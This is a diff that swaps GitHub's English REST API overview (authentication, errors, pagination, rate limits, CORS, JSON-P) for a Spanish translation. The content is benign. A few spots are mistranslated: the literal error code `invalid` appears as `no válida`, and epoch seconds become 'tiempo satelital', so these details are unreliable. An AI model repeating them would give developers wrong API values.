 $ curl -H "Authorization: token <em>OAUTH-TOKEN</em>" {% data variables.product.api_url_pre %}
@@ -108,14 +95,14 @@ $ curl -H "Authorization: token <em>OAUTH-TOKEN</em>" {% data variables.product.
 
 {% note %}
 
-Note: GitHub recommends sending OAuth tokens using the Authorization header.
+Nota: GitHub recomienda enviar los tokens de OAuth utilizando el encabezado de autorización.
 
 {% endnote %}
 
-Read [more about OAuth2](/apps/building-oauth-apps/).  Note that OAuth2 tokens can be acquired using the [web application flow](/developers/apps/authorizing-oauth-apps#web-application-flow) for production applications.
+Lee [más acerca de OAuth2](/apps/building-oauth-apps/).  Nota que los tokens de OAuth2 pueden adquirirse utilizando el [flujo de aplicaciones web](/developers/apps/authorizing-oauth-apps#web-application-flow) para las aplicaciones productivas.
 
 {% ifversion fpt or ghes or ghec %}
-### OAuth2 key/secret
+### Llave/secreto de OAuth2
 
 {% data reusables.apps.deprecating_auth_with_query_parameters %}
 
@@ -123,22 +110,22 @@ Read [more about OAuth2](/apps/building-oauth-apps/).  Note that OAuth2 tokens c
 curl -u my_client_id:my_client_secret '{% data variables.product.api_url_pre %}/user/repos'
 ```
 
-Using your `client_id` and `client_secret` does _not_ authenticate as a user, it will only identify your OAuth application to increase your rate limit. Permissions are only granted to users, not applications, and you will only get back data that an unauthenticated user would see. For this reason, you should only use the OAuth2 key/secret in server-to-server scenarios. Don't leak your OAuth application's client secret to your users.
+El utilizar tu `client_id` y `client_secret` _no_ te autentica como un usuario, únicamente identifica tu aplicación de OAuth para incrementar tu límite de tasa. Los permisos se otorgan únicamente a usuarios, no a aplicaciones, y úicamente obtendrás datos que un usuario no autenticado vería. Es por esto que deberías utilizar únicamente la llave/secreto de OAuth2 en escenarios de servidor a servidor. No compartas el secreto de cliente de tu aplicación de OAuth con tus usuarios.
 
 {% ifversion ghes %}
-You will be unable to authenticate using your OAuth2 key and secret while in private mode, and trying to authenticate will return `401 Unauthorized`. For more information, see "[Enabling private mode](/admin/configuration/configuring-your-enterprise/enabling-private-mode)".
+No podrás autenticarte utilizndo tu llave y secreto de OAuth2 si estás en modo privado, y el intentarlo regresará el mensaje `401 Unauthorized`. Para obtener más información, consulta la sección "[Habilitar el modo privado](/admin/configuration/configuring-your-enterprise/enabling-private-mode)".
 {% endif %}
 {% endif %}
 
 {% ifversion fpt or ghec %}
 
-Read [more about unauthenticated rate limiting](#increasing-the-unauthenticated-rate-limit-for-oauth-applications).
+Lee [más acerca de limitar la tasa de no autenticación](#increasing-the-unauthenticated-rate-limit-for-oauth-applications).
 
 {% endif %}
 
-### Failed login limit
+### Límite de ingresos fallidos
 
-Authenticating with invalid credentials will return `401 Unauthorized`:
+Autenticarse con credenciales inválidas regresará el mensaje `401 Unauthorized`:
 
 ```shell
 $ curl -I {% data variables.product.api_url_pre %} -u foo:bar
@@ -150,9 +137,7 @@ $ curl -I {% data variables.product.api_url_pre %} -u foo:bar
 > }
 ```
 
-After detecting several requests with invalid credentials within a short period,
-the API will temporarily reject all authentication attempts for that user
-(including ones with valid credentials) with `403 Forbidden`:
+Después de detectar varias solicitudes con credenciales inválidas dentro de un periodo de tiempo corto, la API rechazará temporalmente todos los intentos de autenticación para el usuario en cuestión (incluyendo aquellos con credenciales válidas) con el mensaje `403 Forbidden`:
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %} -u {% ifversion fpt or ghae or ghec %}
@@ -164,66 +149,59 @@ $ curl -i {% data variables.product.api_url_pre %} -u {% ifversion fpt or ghae o
 > }
 ```
 
-## Parameters
+## Parámetros
 
-Many API methods take optional parameters. For `GET` requests, any parameters not
-specified as a segment in the path can be passed as an HTTP query string
-parameter:
+Muchos métodos de la API toman parámetros opcionales. Para las solicitudes de tipo `GET`, cualquier parámetro que no se haya especificado como un segmento en la ruta puede pasarse como un parámetro de secuencia de consulta HTTP:
 
 ```shell
 $ curl -i "{% data variables.product.api_url_pre %}/repos/vmg/redcarpet/issues?state=closed"
 ```
 
-In this example, the 'vmg' and 'redcarpet' values are provided for the `:owner`
-and `:repo` parameters in the path while `:state` is passed in the query
-string.
+En este ejemplo, los valores 'vmg' and 'redcarpet' se proporcionan para los parámetros `:owner` y `:repo` en la ruta mientras que se pasa a `:state` en la secuencia de la consulta.
 
-For `POST`, `PATCH`, `PUT`, and `DELETE` requests, parameters not included in the URL should be encoded as JSON
-with a Content-Type of 'application/json':
+Para las solicitudes de tipo `POST`, `PATCH`, `PUT`, and `DELETE`, los parámetros que no se incluyen en la URL deben codificarse como JSON con un Content-Type de 'application/json':
 
 ```shell
 $ curl -i -u username -d '{"scopes":["repo_deployment"]}' {% data variables.product.api_url_pre %}/authorizations
 ```
 
-## Root endpoint
+## Terminal raíz
 
-You can issue a `GET` request to the root endpoint to get all the endpoint categories that the REST API supports:
+Puedes emitir una solicitud de tipo `GET` a la terminal raíz para obtener todas las categorías de la terminal que son compatibles con la API de REST:
 
 ```shell
 $ curl {% ifversion fpt or ghae or ghec %}
 -u <em>username</em>:<em>token</em> {% endif %}{% ifversion ghes %}-u <em>username</em>:<em>password</em> {% endif %}{% data variables.product.api_url_pre %}
 ```
 
-## GraphQL global node IDs
+## IDs de nodo globales de GraphQL
 
-See the guide on "[Using Global Node IDs]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids)" for detailed information about how to find `node_id`s via the REST API and use them in GraphQL operations.
+Consulta la guía sobre cómo "[Utilizar las ID de Nodo Global]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids)" para obtener información detallada sobre cómo encontrar las `node_id` a través de la API de REST y utilizarlas en las operaciones de GraphQL.
 
-## Client errors
+## Errores de cliente
 
-There are three possible types of client errors on API calls that
-receive request bodies:
-
-1. Sending invalid JSON will result in a `400 Bad Request` response.
+Existen tres posibles tipos de errores de cliente en los llamados a la API que reciben cuerpos de solicitud:
 
+1. Enviar un JSON inválido dará como resultado una respuesta de tipo `400 Bad Request`.
+   
         HTTP/2 400
         Content-Length: 35
-
+       
         {"message":"Problems parsing JSON"}
 
-2. Sending the wrong type of JSON values will result in a `400 Bad
-   Request` response.
-
+2. Enviar el tipo incorrecto de valores de JSON dará como resultado una respuesta de tipo `400 Bad
+Request`.
+   
         HTTP/2 400
         Content-Length: 40
-
+       
         {"message":"Body should be a JSON object"}
 
-3. Sending invalid fields will result in a `422 Unprocessable Entity`
-   response.
-
+3. Enviar campos inválidos dará como resultado una respuesta de tipo `422 Unprocessable Entity`.
+   
         HTTP/2 422
         Content-Length: 149
-
+       
         {
           "message": "Validation Failed",
           "errors": [
@@ -235,144 +213,121 @@ receive request bodies:
           ]
         }
 
-All error objects have resource and field properties so that your client
-can tell what the problem is.  There's also an error code to let you
-know what is wrong with the field.  These are the possible validation error
-codes:
+Todos los objetos de error tienen propiedades de campo y de recurso para que tu cliente pueda ubicar el problema.  También hay un código de error para que sepas qué es lo que está mal con el campo.  Estos son los posibles códigos de error de validación:
 
-Error code name | Description
------------|-----------|
-`missing` | A resource does not exist.
-`missing_field` | A required field on a resource has not been set.
-`invalid` | The formatting of a field is invalid.  Review the documentation for more specific information.
-`already_exists` | Another resource has the same value as this field.  This can happen in resources that must have some unique key (such as label names).
-`unprocessable` | The inputs provided were invalid.
+| Nombre del código de error | Descripción                                                                                                                                       |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `missing`                  | Un recurso no existe.                                                                                                                             |
+| `missing_field`            | No se ha configurado un campo requerido en un recurso.                                                                                            |
+| `no válida`                | El formato de un campo es inválido.  Revisa la documentación para encontrar información más específica.                                           |
+| `already_exists`           | Otro recurso tiene el mismo valor que este campo.  Esto puede suceder en recursos que deben tener claves únicas (tales como nombres de etiqueta). |
+| `unprocessable`            | Las entradas proporcionadas son inválidas.                                                                                                        |
 
-Resources may also send custom validation errors (where `code` is `custom`). Custom errors will always have a `message` field describing the error, and most errors will also include a `documentation_url` field pointing to some content that might help you resolve the error.
+Los recursos también podría enviar errores de validación personalizados (en donde `code` sea `custom`). Los errores personalizados siempre tendrán un campo de `message` que describa el error, y muchos de los errores también incluirán un campo de `documentation_url` que apunte a algún tipo de contenido que te pueda ayudar a resolver el error.
 
-## HTTP redirects
+## Redireccionamientos HTTP
 
-API v3 uses HTTP redirection where appropriate. Clients should assume that any
-request may result in a redirection. Receiving an HTTP redirection is *not* an
-error and clients should follow that redirect. Redirect responses will have a
-`Location` header field which contains the URI of the resource to which the
-client should repeat the requests.
+La API v3 utiliza redireccionamientos HTTP cuando sea adecuado. Los clientes deberán asumir que cualquier solicitud podría resultar en un redireccionamiento. Recibir un redireccionamiento HTTP *no* es un error y los clientes deberán seguirlo. Las respuestas de redireccionamiento tendrán un campo de encabezado de tipo `Location` que contendrá el URI del recurso al cual el cliente deberá repetir la solicitud.
 
-Status Code | Description
------------|-----------|
-`301` | Permanent redirection. The URI you used to make the request has been superseded by the one specified in the `Location` header field. This and all future requests to this resource should be directed to the new URI.
-`302`, `307` | Temporary redirection. The request should be repeated verbatim to the URI specified in the `Location` header field but clients should continue to use the original URI for future requests.
+| Código de estado | Descripción                                                                                                                                                                                                                          |
+| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `301`            | Redirección permanente. El URI que utilizaste para hacer la solicitud se reemplazó con aquél especificado en el campo de encabezado `Location`. Ésta y todas las solicitudes futuras a este recurso se deberán dirigir al nuevo URI. |
+| `302`, `307`     | Redireccion temporal. La solicitud deberá repetirse literalmente al URI especificado en el campo de encabezado `Location`, pero los clientes deberán seguir utilizando el URI original para solicitudes futuras.                     |
 
-Other redirection status codes may be used in accordance with the HTTP 1.1 spec.
+Podrían utilizarse otros códigos de estado de redirección de acuerdo con la especificación HTTP 1.1.
 
-## HTTP verbs
+## Verbos HTTP
 
-Where possible, API v3 strives to use appropriate HTTP verbs for each
-action.
+Cuando sea posible, la API v3 intentará utilizar los verbos HTTP adecuados para cada acción.
 
-Verb | Description
------|-----------
-`HEAD` | Can be issued against any resource to get just the HTTP header info.
-`GET` | Used for retrieving resources.
-`POST` | Used for creating resources.
-`PATCH` | Used for updating resources with partial JSON data. For instance, an Issue resource has `title` and `body` attributes. A `PATCH` request may accept one or more of the attributes to update the resource.
-`PUT` | Used for replacing resources or collections. For `PUT` requests with no `body` attribute, be sure to set the `Content-Length` header to zero.
-`DELETE` |Used for deleting resources.
+| Verbo    | Descripción                                                                                                                                                                                                                                  |
+| -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `HEAD`   | Puede emitirse contra cualquier recurso para obtener solo la información del encabezado HTTP.                                                                                                                                                |
+| `GET`    | Se utiliza para recuperar recursos.                                                                                                                                                                                                          |
+| `POST`   | Se utiliza para crear recursos.                                                                                                                                                                                                              |
+| `PATCH`  | Se utiliza para actualizar los recursos con datos parciales de JSON. Por ejemplo, un recurso de emisión tiene los atributos `title` y `body`. Una solicitud de `PATCH` podría aceptar uno o más de los atributos para actualizar el recurso. |
+| `PUT`    | Se utiliza para reemplazar recursos o colecciones. Para las solicitudes de `PUT` sin el atributo `body`, asegúrate de configurar el encabezado `Content-Length` en cero.                                                                     |
+| `DELETE` | Se utiliza para borrar recursos.                                                                                                                                                                                                             |
 
 ## Hypermedia
 
-All resources may have one or more `*_url` properties linking to other
-resources.  These are meant to provide explicit URLs so that proper API clients
-don't need to construct URLs on their own.  It is highly recommended that API
-clients use these.  Doing so will make future upgrades of the API easier for
-developers.  All URLs are expected to be proper [RFC 6570][rfc] URI templates.
+Todos los recursos pueden tener una o más propiedades de `*_url` que los enlacen con otros recursos.  Estos pretenden proporcionar las URL explícitas para que los clientes adecuados de la API no tengan que construir las URL por ellos mismos.  Se recomienda ampliamente que los clientes de la API los utilicen.  El hacerlo facilitará a los desarrolladores el realizar mejoras futuras a la API.  Se espera que todas las URL sean plantillas de URI [RFC 6570][rfc] adecuadas.
 
-You can then expand these templates using something like the [uri_template][uri]
-gem:
+Puedes entonces expandir estas plantillas utilizando algo como la gema [uri_template][uri]:
 
     >> tmpl = URITemplate.new('/notifications{?since,all,participating}')
     >> tmpl.expand
     => "/notifications"
-
+    
     >> tmpl.expand :all => 1
     => "/notifications?all=1"
-
+    
     >> tmpl.expand :all => 1, :participating => 1
     => "/notifications?all=1&participating=1"
 
-[rfc]: https://datatracker.ietf.org/doc/html/rfc6570
-[uri]: https://github.com/hannesg/uri_template
+## Paginación
 
-## Pagination
-
-Requests that return multiple items will be paginated to 30 items by
-default.  You can specify further pages with the `page` parameter. For some
-resources, you can also set a custom page size up to 100 with the `per_page` parameter.
-Note that for technical reasons not all endpoints respect the `per_page` parameter,
-see [events](/rest/reference/activity#events) for example.
+Las solicitudes que recuperan varios elementos se paginarán a 30 elementos predeterminadamente.  Puedes especificar páginas subsecuentes con el parámetro `page`. Para algunos recursos, también puedes configurar un tamaño de página personalizado de hasta 100 de ellos con el parámetro `per_page`. Toma en cuenta que, por razones técnicas, no todas las terminales respetan el parámetro `per_page`, consulta la sección de [eventos](/rest/reference/activity#events) por ejemplo.
 
 ```shell
 $ curl '{% data variables.product.api_url_pre %}/user/repos?page=2&per_page=100'
 ```
 
-Note that page numbering is 1-based and that omitting the `page`
-parameter will return the first page.
+Toma en cuenta que la numeración comienza en 1 y que el omitir el parámetro `page` devolverá la primera página.
 
-Some endpoints use cursor-based pagination. A cursor is a string that points to a location in the result set.
-With cursor-based pagination, there is no fixed concept of "pages" in the result set, so you can't navigate to a specific page.
-Instead, you can traverse the results by using the `before` or `after` parameters.
+Algunas terminales utilizan una paginación basada en el cursor. Un cursor es una cadena que apunta a una ubicación en el conjunto de resultados. Con la paginación basada en un cursor, no existe un concepto fijo de "páginas" en el conjunto de resultados, así que no puedes navegar a alguna página específica. En vez de esto, puedes recorrer los resultados utilizando los parámetros `before` o `after`.
 
-For more information on pagination, check out our guide on [Traversing with Pagination][pagination-guide].
+Para obtener más información sobre la paginación, revisa nuestra guía sobre [Desplazarse con la paginación][pagination-guide].
 
-### Link header
+### Encabezado de enlace
 
 {% note %}
 
-**Note:** It's important to form calls with Link header values instead of constructing your own URLs.
+**Nota:** Es importante formar llamados con valores de encabezado de enlace en vez de construir tus propias URL.
 
 {% endnote %}
 
-The [Link header](https://datatracker.ietf.org/doc/html/rfc5988) includes pagination information. For example:
+El [Encabezado de enlace](https://datatracker.ietf.org/doc/html/rfc5988) incluye información de paginación. Por ejemplo:
 
     Link: <{% data variables.product.api_url_code %}/user/repos?page=3&per_page=100>; rel="next",
       <{% data variables.product.api_url_code %}/user/repos?page=50&per_page=100>; rel="last"
 
-_The example includes a line break for readability._
+_Este ejemplo incluye un salto de línea para legibilidad._
 
-Or, if the endpoint uses cursor-based pagination:
+O, si la terminal utiliza una paginación basada en un cursor:
 
     Link: <{% data variables.product.api_url_code %}/orgs/ORG/audit-log?after=MTYwMTkxOTU5NjQxM3xZbGI4VE5EZ1dvZTlla09uWjhoZFpR&before=>; rel="next",
 
-This `Link` response header contains one or more [Hypermedia](/rest#hypermedia) link relations, some of which may require expansion as [URI templates](https://datatracker.ietf.org/doc/html/rfc6570).
+Este encabezado de respuesta de `Link` contiene una o más relaciones de enlace de [Hipermedios](/rest#hypermedia), algunos de los cuales podrían requerir de expansión, tales como las [Plantillas URI](https://datatracker.ietf.org/doc/html/rfc6570).
 
-The possible `rel` values are:
+Los valores de `rel` posibles son:
 
-Name | Description
------------|-----------|
-`next` |The link relation for the immediate next page of results.
-`last` |The link relation for the last page of results.
-`first` |The link relation for the first page of results.
-`prev` |The link relation for the immediate previous page of results.
+| Nombre  | Descripción                                                                |
+| ------- | -------------------------------------------------------------------------- |
+| `next`  | La relación del enlace para la página subsecuente inmediata de resultados. |
+| `last`  | La relación del enlace para la última página de resultados.                |
+| `first` | La relación del enlace para la primera parte de los resultados.            |
+| `prev`  | La relación del enlace para la página previa inmediata de resultados.      |
 
-## Rate limiting
+## Limitación de tasas
 
-For API requests using Basic Authentication or OAuth, you can make up to 5,000 requests per hour. Authenticated requests are associated with the authenticated user, regardless of whether [Basic Authentication](#basic-authentication) or [an OAuth token](#oauth2-token-sent-in-a-header) was used. This means that all OAuth applications authorized by a user share the same quota of 5,000 requests per hour when they authenticate with different tokens owned by the same user.
+Para las solicitudes de la API que utilizan Autenticación Básica u OAuth, puedes hacer hasta 5,000 solicitudes por hora. Las solicitudes autenticadas se asocian con el usuario autenticado, sin importar si se utilizó [Autenticación Básica](#basic-authentication) o [un token OAuth](#oauth2-token-sent-in-a-header). Esto significa que todas las aplicaciones de OAuth que autorice un usuario compartirán la misma cuota de 5,000 solicitudes por hora cuando se autentiquen con tokens diferentes que pertenezcan al mismo usuario.
 
 {% ifversion fpt or ghec %}
 
-For users that belong to a {% data variables.product.prodname_ghe_cloud %} account, requests made using an OAuth token to resources owned by the same {% data variables.product.prodname_ghe_cloud %} account have an increased limit of 15,000 requests per hour.
+Para los usuarios que pertenezcan a una cuenta de {% data variables.product.prodname_ghe_cloud %}, las solicitudes que se hacen utilizando un token de OAuth para los recursos que pertenecen a la misma cuenta de {% data variables.product.prodname_ghe_cloud %} tienen un límite incrementado de 15,000 solicitudes por hora.
 
 {% endif %}
 
-When using the built-in `GITHUB_TOKEN` in GitHub Actions, the rate limit is 1,000 requests per hour per repository. For organizations that belong to a GitHub Enterprise Cloud account, this limit is 15,000 requests per hour per repository.
+Cuando utilizas el `GITHUB_TOKEN` integrado en GitHub Actions, el límite de tasa es de 1,000 solicitudes por hora por repositorio. Para las organizaciones que pertenecen a una cuenta de GitHub Enterprise Cloud, este límite será de 15,000 solicitudes por hora por repositorio.
 
-For unauthenticated requests, the rate limit allows for up to 60 requests per hour. Unauthenticated requests are associated with the originating IP address, and not the user making requests.
+Para las solicitudes no autenticadas, el límite de tasa permite hasta 60 solicitudes por hora. Las solicitudes no autenticadas se asocian con la dirección IP que las origina, y no con el usuario que realiza la solicitud.
 
 {% data reusables.enterprise.rate_limit %}
 
-Note that [the Search API has custom rate limit rules](/rest/reference/search#rate-limit).
+Nota que [la API de búsqueda tiene reglas personalizadas de límite de tasa](/rest/reference/search#rate-limit).
 
-The returned HTTP headers of any API request show your current rate limit status:
+Los encabezados HTTP recuperados para cualquier solicitud de la API muestran tu estado actual de límite de tasa:
 
 ```shell
 $ curl -I {% data variables.product.api_url_pre %}/users/octocat
@@ -383,20 +338,20 @@ $ curl -I {% data variables.product.api_url_pre %}/users/octocat
 > X-RateLimit-Reset: 1372700873
 ```
 
-Header Name | Description
------------|-----------|
-`X-RateLimit-Limit` | The maximum number of requests you're permitted to make per hour.
-`X-RateLimit-Remaining` | The number of requests remaining in the current rate limit window.
-`X-RateLimit-Reset` | The time at which the current rate limit window resets in [UTC epoch seconds](http://en.wikipedia.org/wiki/Unix_time).
+| Nombre del Encabezado   | Descripción                                                                                                                                          |
+| ----------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `X-RateLimit-Limit`     | La cantidad máxima de solicitudes que puedes hacer por hora.                                                                                         |
+| `X-RateLimit-Remaining` | La cantidad de solicitudes que quedan en la ventana de límite de tasa actual.                                                                        |
+| `X-RateLimit-Reset`     | La hora en la que se restablecerá la ventana de límite de tasa actual en [segundos de tiempo satelital UTC](http://en.wikipedia.org/wiki/Unix_time). |
 
-If you need the time in a different format, any modern programming language can get the job done. For example, if you open up the console on your web browser, you can easily get the reset time as a JavaScript Date object.
+Si necesitas ver la hora en un formato diferente, cualquier lenguaje de programación moderno puede ayudarte con esta tarea. Por ejemplo, si abres la consola en tu buscador web, puedes obtener fácilmente el tiempo de restablecimiento como un objeto de Tiempo de JavaScript.
 
 ``` javascript
 new Date(1372700873 * 1000)
 // => Mon Jul 01 2013 13:47:53 GMT-0400 (EDT)
 ```
 
-If you exceed the rate limit, an error response returns:
+Si excedes el límite de tasa, se regresará una respuesta de error:
 
 ```shell
 > HTTP/2 403
@@ -411,11 +366,11 @@ If you exceed the rate limit, an error response returns:
 > }
 ```
 
-You can [check your rate limit status](/rest/reference/rate-limit) without incurring an API hit.
+Puedes [revisar tu estado de límite de tasa](/rest/reference/rate-limit) sin incurrir en una consulta de la API.
 
-### Increasing the unauthenticated rate limit for OAuth applications
+### Incrementar el límite de tasa de no autenticados para las aplicaciones de OAuth
 
-If your OAuth application needs to make unauthenticated calls with a higher rate limit, you can pass your app's client ID and secret before the endpoint route.
+Si tu aplicación de OAuth necesita hacer llamados no autenticados con un límite de tasa más alto, puedes pasar la ID de cliente y secreto de tu app ante la ruta de la terminal.
 
 ```shell
 $ curl -u my_client_id:my_client_secret {% data variables.product.api_url_pre %}/user/repos
@@ -428,21 +383,21 @@ $ curl -u my_client_id:my_client_secret {% data variables.product.api_url_pre %}
 
 {% note %}
 
-**Note:** Never share your client secret with anyone or include it in client-side browser code. Use the method shown here only for server-to-server calls.
+**Nota:** Jamás compartas tu secreto de cliente con nadie ni lo incluyas en el código de cara al cliente del buscador. Utiliza únicamente el método que se muestra aquí para las llamadas de servidor a servidor.
 
 {% endnote %}
 
-### Staying within the rate limit
+### Quedarse dentro del límite de tasa
 
-If you exceed your rate limit using Basic Authentication or OAuth, you can likely fix the issue by caching API responses and using [conditional requests](#conditional-requests).
+Si excedes tu límite de tasa utilizando Autenticación Básica u OAuth, es probable que puedas arreglar el problema si guardas en caché las respuestas de la API y utilizas [solicitudes condicionales](#conditional-requests).
 
-### Secondary rate limits
+### Límites de tasa secundarios
 
-In order to provide quality service on {% data variables.product.product_name %}, additional rate limits may apply to some actions when using the API. For example, using the API to rapidly create content, poll aggressively instead of using webhooks, make multiple concurrent requests, or repeatedly request data that is computationally expensive may result in secondary rate limiting.
+Para prorpocionar un servicio de calidad en {% data variables.product.product_name %}, los límites de tasa adicionales podrían aplicar a algunas acciones cuando se utiliza la API. Por ejemplo, utilizar la API para crear contenido rápidamente, encuestar agresivamente en vez de utilizar webhooks, hacer solicitudes múltiples concurrentes, o solicitar repetidamente datos que son caros a nivel computacional, podría dar como resultado un límite de tasa secundaria.
 
-Secondary rate limits are not intended to interfere with legitimate use of the API. Your normal rate limits should be the only limit you target. To ensure you're acting as a good API citizen, check out our [Best Practices guidelines](/guides/best-practices-for-integrators/).
+No se pretende que los límites de tasa secundaria interfieran con el uso legítimo de la API. Tus límites de tasa habituales deben ser el único límite en el cual te enfoques. Para garantizar que estás actuando como un buen ciudadano de la API, revisa nuestros [lineamientos de mejores prácticas](/guides/best-practices-for-integrators/).
 
-If your application triggers this rate limit, you'll receive an informative response:
+Si tu aplicación activa este límite de tasa, recibirás una respuesta informativa:
 
 ```shell
 > HTTP/2 403
@@ -457,19 +412,17 @@ If your application triggers this rate limit, you'll receive an informative resp
 
 {% ifversion fpt or ghec %}
 
-## User agent required
+## Se requiere un agente de usuario
 
-All API requests MUST include a valid `User-Agent` header. Requests with no `User-Agent`
-header will be rejected. We request that you use your {% data variables.product.product_name %} username, or the name of your
-application, for the `User-Agent` header value. This allows us to contact you if there are problems.
+Todas las solicitudes a la API DEBEN incluir un encabezado de `User-Agent` válido. Las solicitudes sin encabezado de `User-Agent` se rechazarán. Te solicitamos que utilices tu nombre de usuario de {% data variables.product.product_name %}, o el nombre de tu aplicación, para el valor del encabezado de `User-Agent`. Esto nos permite contactarte en caso de que haya algún problema.
 
-Here's an example:
+Aquí hay un ejemplo:
 
 ```shell
 User-Agent: Awesome-Octocat-App
 ```
 
-cURL sends a valid `User-Agent` header by default. If you provide an invalid `User-Agent` header via cURL (or via an alternative client), you will receive a `403 Forbidden` response:
+cURL envía un encabezado de `User-Agent` válido predeterminadamente. Si proporcionas un encabezado de `User-Agent` inválido a través de cURL (o a través de un cliente alterno), recibirás una respuesta de `403 Forbidden`:
 
 ```shell
 $ curl -IH 'User-Agent: ' {% data variables.product.api_url_pre %}/meta
@@ -484,20 +437,15 @@ $ curl -IH 'User-Agent: ' {% data variables.product.api_url_pre %}/meta
 
 {% endif %}
 
-## Conditional requests
+## Solicitudes condicionales
 
-Most responses return an `ETag` header. Many responses also return a `Last-Modified` header. You can use the values
-of these headers to make subsequent requests to those resources using the
-`If-None-Match` and `If-Modified-Since` headers, respectively. If the resource
-has not changed, the server will return a `304 Not Modified`.
+La mayoría de las respuestas regresan un encabezado de `ETag`. Muchas de las respuestas también regresan un encabezado de `Last-Modified`. Puedes utilizar los valores de estos encabezados para hacer solicitudes subsecuentes a estos recursos utilizando los encabezados `If-None-Match` y `If-Modified-Since`, respectivamente. Si el recurso no ha cambiado, el servidor regresará un `304 Not Modified`.
 
 {% ifversion fpt or ghec %}
 
 {% tip %}
 
-**Note**: Making a conditional request and receiving a 304 response does not
-count against your [Rate Limit](#rate-limiting), so we encourage you to use it
-whenever possible.
+**Nota**: Hacer una solicitud condicional y recibir una respuesta de tipo 304 no cuenta contra tu [Límite de Tasa](#rate-limiting), así que te alentamos a utilizarlo cuando sea posible.
 
 {% endtip %}
 
@@ -534,16 +482,11 @@ $ curl -I {% data variables.product.api_url_pre %}/user -H "If-Modified-Since: T
 > X-RateLimit-Reset: 1372700873
 ```
 
-## Cross origin resource sharing
+## Intercambio de recursos de origen cruzado
 
-The API supports Cross Origin Resource Sharing (CORS) for AJAX requests from
-any origin.
-You can read the [CORS W3C Recommendation](http://www.w3.org/TR/cors/), or
-[this intro](https://code.google.com/archive/p/html5security/wikis/CrossOriginRequestSecurity.wiki) from the
-HTML 5 Security Guide.
+La API es compatible con el Intercambio de Recursos de Origen Cruzado (CORS, por sus siglas en inglés) para las solicitudes de AJAX de cualquier origen. Puedes leer la [Recomendación del W3C sobre CORS](http://www.w3.org/TR/cors/), o [esta introducción](https://code.google.com/archive/p/html5security/wikis/CrossOriginRequestSecurity.wiki) de la Guía de Seguridad de HTML 5.
 
-Here's a sample request sent from a browser hitting
-`http://example.com`:
+Aquí hay una solicitud de ejemplo que se envió desde una consulta de buscador `http://example.com`:
 
 ```shell
 $ curl -I {% data variables.product.api_url_pre %} -H "Origin: http://example.com"
@@ -552,7 +495,7 @@ Access-Control-Allow-Origin: *
 Access-Control-Expose-Headers: ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval
 ```
 
-This is what the CORS preflight request looks like:
+Así se ve una solicitud de prevuelo de CORS:
 
 ```shell
 $ curl -I {% data variables.product.api_url_pre %} -H "Origin: http://example.com" -X OPTIONS
@@ -564,13 +507,9 @@ Access-Control-Expose-Headers: ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-Ra
 Access-Control-Max-Age: 86400
 ```
 
-## JSON-P callbacks
+## Rellamados de JSON-P
 
-You can send a `?callback` parameter to any GET call to have the results
-wrapped in a JSON function.  This is typically used when browsers want
-to embed {% data variables.product.product_name %} content in web pages by getting around cross domain
-issues.  The response includes the same data output as the regular API,
-plus the relevant HTTP Header information.
+Puedes enviar un parámetro de `?callback` a cualquier llamado de GET para envolver los resultados en una función de JSON.  Esto se utiliza típicamente cuando los buscadores quieren insertar contenido de {% data variables.product.product_name %} en las páginas web evitando los problemas de dominio cruzado.  La respuesta incluye la misma salida de datos que la API común, mas la información relevante del Encabezado HTTP.
 
 ```shell
 $ curl {% data variables.product.api_url_pre %}?callback=foo
@@ -591,7 +530,7 @@ $ curl {% data variables.product.api_url_pre %}?callback=foo
 > })
 ```
 
-You can write a JavaScript handler to process the callback. Here's a minimal example you can try out:
+Puedes escribir un agente de JavaScript para procesar la rellamada. Aquí hay un ejemplo minimalista que puedes probar:
 
     <html>
     <head>
@@ -602,28 +541,26 @@ You can write a JavaScript handler to process the callback. Here's a minimal exa
       console.log(meta);
       console.log(data);
     }
-
+    
     var script = document.createElement('script');
     script.src = '{% data variables.product.api_url_code %}?callback=foo';
-
+    
     document.getElementsByTagName('head')[0].appendChild(script);
     </script>
     </head>
-
+    
     <body>
       <p>Open up your browser's console.</p>
     </body>
     </html>
 
-All of the headers are the same String value as the HTTP Headers with one
-notable exception: Link.  Link headers are pre-parsed for you and come
-through as an array of `[url, options]` tuples.
+Todos los encabezados consisten en el mismo valor de secuencia que los encabezados HTTP con una excepción notoria: El Enlace.  Los encabezados de enlace se pre-analizan y se presentan como una matriz de tuplas de `[url, options]`.
 
-A link that looks like this:
+Un enlace que se ve así:
 
     Link: <url1>; rel="next", <url2>; rel="foo"; bar="baz"
 
-... will look like this in the Callback output:
+... se verá así en la salida de la rellamada:
 
 ```json
 {
@@ -645,39 +582,42 @@ A link that looks like this:
 }
 ```
 
-## Timezones
+## Zonas horarias
 
-Some requests that create new data, such as creating a new commit, allow you to provide time zone information when specifying or generating timestamps. We apply the following rules, in order of priority, to determine timezone information for such API calls.
+Algunas solicitudes que crean datos nuevos, tales como aquellas para crear una confirmación nueva, te permiten proporcionar información sobre la zona horaria cuando especificas o generas marcas de tiempo. Aplicamos las siguientes reglas, en orden de prioridad, para determinar la información de la zona horaria para los llamados a la API.
 
-* [Explicitly providing an ISO 8601 timestamp with timezone information](#explicitly-providing-an-iso-8601-timestamp-with-timezone-information)
-* [Using the `Time-Zone` header](#using-the-time-zone-header)
-* [Using the last known timezone for the user](#using-the-last-known-timezone-for-the-user)
-* [Defaulting to UTC without other timezone information](#defaulting-to-utc-without-other-timezone-information)
+* [Proporcionar explícitamente una marca de tiempo de tipo ISO 8601 con información de la zona horaria](#explicitly-providing-an-iso-8601-timestamp-with-timezone-information)
+* [Utilizar el encabezado de `Time-Zone`](#using-the-time-zone-header)
+* [Utilizar la última zona horaria conocida del usuario](#using-the-last-known-timezone-for-the-user)
+* [Poner como defecto UTC en ausencia de otra información de zona horaria](#defaulting-to-utc-without-other-timezone-information)
 
